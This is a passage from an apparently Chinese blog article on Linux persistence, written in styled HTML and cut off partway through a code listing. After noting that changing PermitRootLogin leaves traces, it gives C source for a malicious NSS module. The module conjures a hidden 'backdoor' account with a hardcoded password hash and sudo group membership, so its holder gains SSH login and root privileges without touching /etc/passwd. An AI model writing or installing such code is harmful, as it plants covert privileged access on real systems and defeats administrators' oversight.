src="https://wechat2rss.xlab.app/img-proxy/?k=b7332aea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YhCIfd6CYSt7cChWDmypWHPhibto7j1nwsQlNk9AOtjULB7icic676s5ibr2fPRZIeKCHibndLQtffv6cytJbNDXayMPicfpfybLtng8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">果然，重启 ssh 服务并没有解决问题</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">接下来我们尝试修改 ssh 配置文件，允许 root 登录，之后再重启 ssh 服务，再次尝试登录</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7824074074074074" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019431" src="https://wechat2rss.xlab.app/img-proxy/?k=7783a420&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YjyxwtwEWWBjUFfaY0hfag0POQjfC9pibR5ibGuatZw6hHadMJeXocl3NXLfaQLJZEMtBnYWoyaib5qEMN823r4501CoKVY4ia97Bw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">果然是这样！</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">但这不是一个好方案——修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">PermitRootLogin</span></code><span leaf=""> 会留下明显的配置变更痕迹。更好的策略是</span><strong style="font-weight: bold;color: black;"><span leaf="">让后门用户使用非零 UID</span></strong><span leaf="">，绕过 sshd 的 root 限制，同时通过加入 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo</span></code><span leaf=""> 组获取 root 权限。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Ubuntu 默认的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/sudoers</span></code><span leaf=""> 包含 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">%sudo ALL=(ALL:ALL) ALL</span></code><span leaf="">，只要用户属于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo</span></code><span leaf=""> 组（GID=27），就能直接 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo</span></code><span leaf=""> 提权。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">完整代码如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;grp.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;shadow.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdlib.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_USER  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_UID   1002</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_GID   1002</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_HASH  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0&#34;</span></span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">/* ==================== passwd ==================== */</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">fill_backdoor_passwd</span></span><span style="line-height: 26px;"><span leaf="">(struct passwd *result, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_name = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_passwd = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_uid = BACKDOOR_UID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gid = BACKDOOR_GID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gecos = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_dir = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/home/backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_shell = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    fill_backdoor_passwd(result, buffer);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwuid_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> uid,</span><span leaf=""><br/></span><span leaf="">                     struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (uid != BACKDOOR_UID)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    fill_backdoor_passwd(result, buffer);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> pwent_called = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_setpwent (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> stayopen)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    pwent_called = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_endpwent (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    pwent_called = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwent_r (struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!pwent_called)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_UNAVAIL;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (pwent_called == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        pwent_called = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        fill_backdoor_passwd(result, buffer);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">/* ==================== group ==================== */</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getgrnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct group *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;gr_name = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;gr_passwd = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;gr_gid = BACKDOOR_GID;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> **mem = (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> **)(buffer + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf=""> - </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    mem[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    mem[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;gr_mem = mem;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getgrgid_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> gid,</span><span leaf=""><br/></span><span leaf="">                     struct group *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (gid != BACKDOOR_GID)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> _nss_nop_getgrnam_r(BACKDOOR_USER, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_initgroups_dyn (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *user, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> group,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *start, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *size,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> **groups, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> limit,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(user, BACKDOOR_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// GID 27 = sudo 组（Ubuntu 默认）</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> supplemental_groups[] = { BACKDOOR_GID, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">27</span></span><span leaf=""> };</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> num_groups = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; num_groups; i++)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (*start &gt;= *size)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *size *= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">            *groups = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">realloc</span></span><span leaf="">(*groups, *size * </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf="">));</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (*groups == </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        (*groups)[*start] = supplemental_groups[i];</span><span leaf=""><br/></span><span leaf="">        *start += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">/* ==================== shadow ==================== */</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getspnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct spwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">512</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_namp = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_pwdp = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_HASH) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_lstchg = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20000</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_min = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_max = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">99999</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    